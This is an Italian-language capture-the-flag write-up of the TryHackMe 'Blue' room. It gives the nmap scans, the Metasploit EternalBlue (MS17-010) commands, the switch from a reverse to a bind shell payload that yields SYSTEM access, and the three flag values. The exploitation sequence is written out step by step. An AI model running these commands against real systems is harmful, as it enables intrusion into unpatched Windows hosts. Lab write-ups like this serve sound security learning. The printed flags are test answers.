winsmbMS17-010metasploitprivesc
↓ view full writeup .txt

Writeup — Blue (TryHackMe)

OS: Windows Server 2012 R2 Datacenter
Difficoltà: Easy
Data: 20 agosto 2026


Sommario

Macchina Windows standalone, non in dominio. nmap rivela SMB esposto con una versione vulnerabile a MS17-010 (EternalBlue). essa è stata sfruttata con il modulo Metasploit dedicato e consigliato, con un tentativo iniziale fallito per via del payload "reverse_tcp" bloccato in uscita. passando a un payload "bind_tcp" la shell si apre e arriva direttamente come SYSTEM (privilegi elevati). da lì solo enumerazione manuale del filesystem per recuperare eventuali dati utili (le tre flag della room)

Catena: nmap → SMB vulnerabile a MS17-010 → Metasploit EternalBlue → payload bind_tcp → shell SYSTEM → esplorazione filesystem → flag su C:, System32\config e Users\Jon\Documents.


strumenti e metodologie aggiuntive

durante la sessione è stato utilizzato un llm: per recupero dettagli su CVE, interpretazione di output grezzi, suggerimenti su vettori inesplorati in caso di blocco e spiegazione dettagliata di concetti tecnici. l'esecuzione e le scelte operative erano mie. il writeup è stato scritto da me e successivamente ripulito con lo stesso strumento.


Premessa

room fatta su una macchina AttackBox fornita da TryHackMe, non sulla mia locale. diversi tool già disponibili in /root/Desktop/Tools e /opt/, wordlist in /usr/share/wordlists, e sull'attackbox erano già presenti bloodhound, metasploit, postman, caido, exploitdb e ghidra tra gli altri.
Room pensata e descritta dall'introduzione come primo contatto con EternalBlue e completata in circa un'ora di lavoro
la parte tecnica non è stata onerosa, il tempo perso è stato sul primo tentativo di exploit tramite metasploit fallito e sulla ricerca del comando giusto per leggere il contenuto di un file da shell Windows,dato che non lo ricordavo e non è Linux dove si risolve con un semplice grep.


Fase 1 — Ricognizione

primo scan con script e version, non risponde:

nmap -Pn -sC -sV -T4 10.114.166.198

ICMP disabilitato, da qui il -Pn in ogni scan successivo.
provo con range di porte più ampio:

nmap -Pn -T4 --top-ports 1000 10.114.166.198

Risultato:

135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
3389/tcp open ms-wbt-server
49152-49155/tcp open unknown

SMB e RDP esposti, nessun dominio (niente 389/88 quindi è macchina standalone).
con 445 aperto la prima cosa sensata è controllare il MS17-010, ricercato online dopo averlo letto nell'introduzione alla room prima di iniziare:

nmap -Pn -p445 --script smb-os-discovery,smb-vuln-ms17-010 10.114.166.198
stiamo dicendo a nmap di eseguire due script NSE precisi che contiene dentro sé=
smb-os-discovery interroga SMB e prova a ricavare OS, hostname, dominio, versione Windows che possono tornarci molto utili visto che andrà usato Metasploit (soprattutto la versione).
smb-vuln-ms17-010 verifica solo se SMB è vulnerabile a MS17-010 (EternalBlue)
nmap ha centinaia di script già pronti in /usr/share/nmap/scripts/ proprio come questi

Output conferma:

VULNERABLE: MS17-010, CVE-2017-0143
OS: Windows Server 2012 R2 Datacenter 9600
Computer name: WIN-JO6REVNMMMP

target confermato EternalBlue.


Fase 2 — Exploitation

Metasploit già installato nella macchina,cerco il modulo:

Sequenza di comandi:
msfconsole (aperto poi manualmente da shortcut su Desktop, comando runnava all'infinito)
search eternalblue
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 10.114.166.198
show options

nessun parametro obbligatorio mancante ad occhio. confermato anche facendo leggere l'output di show options al chatbot. primo tentativo con il payload di default (reverse_tcp):

run

il check preliminare conferma la vulnerabilità, exploit inizia ma il modulo si ferma su:

Exploit failed with the following error: Read timeout expired when reading from the Socket (timeout=30)
Exploit completed, but no session was created.

comprendo che non c'è nessuna sessione creata. può essere un probabile firewall in uscita sulla macchina target, ma ho poca conoscenza riguardo le altre cause.

dopo questo tentativo fallito, quello che ha funzionato è stato rilevato dal chatbot, giustificabile perchè la room lo diceva già: nelle istruzioni del "Task2" c'era scritto di impostare set payload windows/x64/shell/reverse_tcp prima di lanciare l'exploit, "for the sake of learning". non l'avevo letto, dato che stavo lavorando quasi interamente in autonomia nella macchina.
Quindi:

set PAYLOAD windows/x64/shell_bind_tcp
set LPORT 4444
exploit

questa volta il check è identico ma la sessione si apre:

Command shell session 1 opened (10.114.130.193:44197 -> 10.114.166.198:4444)

shell come:

C:\Windows\system32>whoami
nt authority\system

SYSTEM diretto senza nessun passaggio intermedio di privilege escalation .


Fase 3 — Enumerazione e recupero delle flag

utenti presenti sulla macchina:

dir C:\Users

Administrator, Jon, Public. parto da Jon:

dir C:\Users\Jon\Documents

Directory of C:\Users\Jon\Documents
....
07/31/2026 01:29 PM 37 flag3.txt

type C:\Users\Jon\Documents\flag3.txt
flag{admin_documents_can_be_valuable}

prima flag trovata. Administrator\Desktop e Administrator\Documents risultano praticamente vuoti, e rimanendo poco tempo rimanente nella macchina Free cerco direttamente per nome file direttamente dalla radice visto che posso muovermi ovunque nel filesystem:

dir C:\flag*.txt (equivalente di un grep in Linux)

Directory of C:\
07/31/2026 01:24 PM 24 flag1.txt

type C:\flag1.txt
flag{access_the_machine}

resta una terza flag non ancora trovata, ipotizzo legata al database SAM viste le indicazioni della room su NTLM e hash che ho letto in questa fase per avere del contesto. ma fortunatamente è bastato cercare di nuovo ricorsivamente in tutto il filesystem:

dir /s C:\flag2.txt

Directory of C:\Windows\System32\config (percorso in cui era la flag)
07/31/2026 01:26 PM 34 flag2.txt

type C:\Windows\System32\config\flag2.txt
flag{sam_database_elevated_access}

tutte e tre le flag recuperate.


Catena completa

nmap top-ports → SMB e RDP esposti
→ smb-vuln-ms17-010 conferma CVE-2017-0143
→ Metasploit exploit/windows/smb/ms17_010_eternalblue
→ payload reverse_tcp fallisce (timeout)
→ payload shell_bind_tcp funziona
→ shell diretta come nt authority\system
→ enumerazione manuale filesystem → 3 flag recuperate


Lezioni apprese

leggere le istruzioni della room prima di lanciare qualcosa, anche quando sembrano scontate. in questo caso il suggerimento sul cambio di payload c'era già scritto e l'ho trovato da un'altra parte solo dopo aver perso tempo a cercarlo altrove.


Tool utilizzati

nmap, msfconsole/metasploit (exploit/windows/smb/ms17_010_eternalblue)

← indietro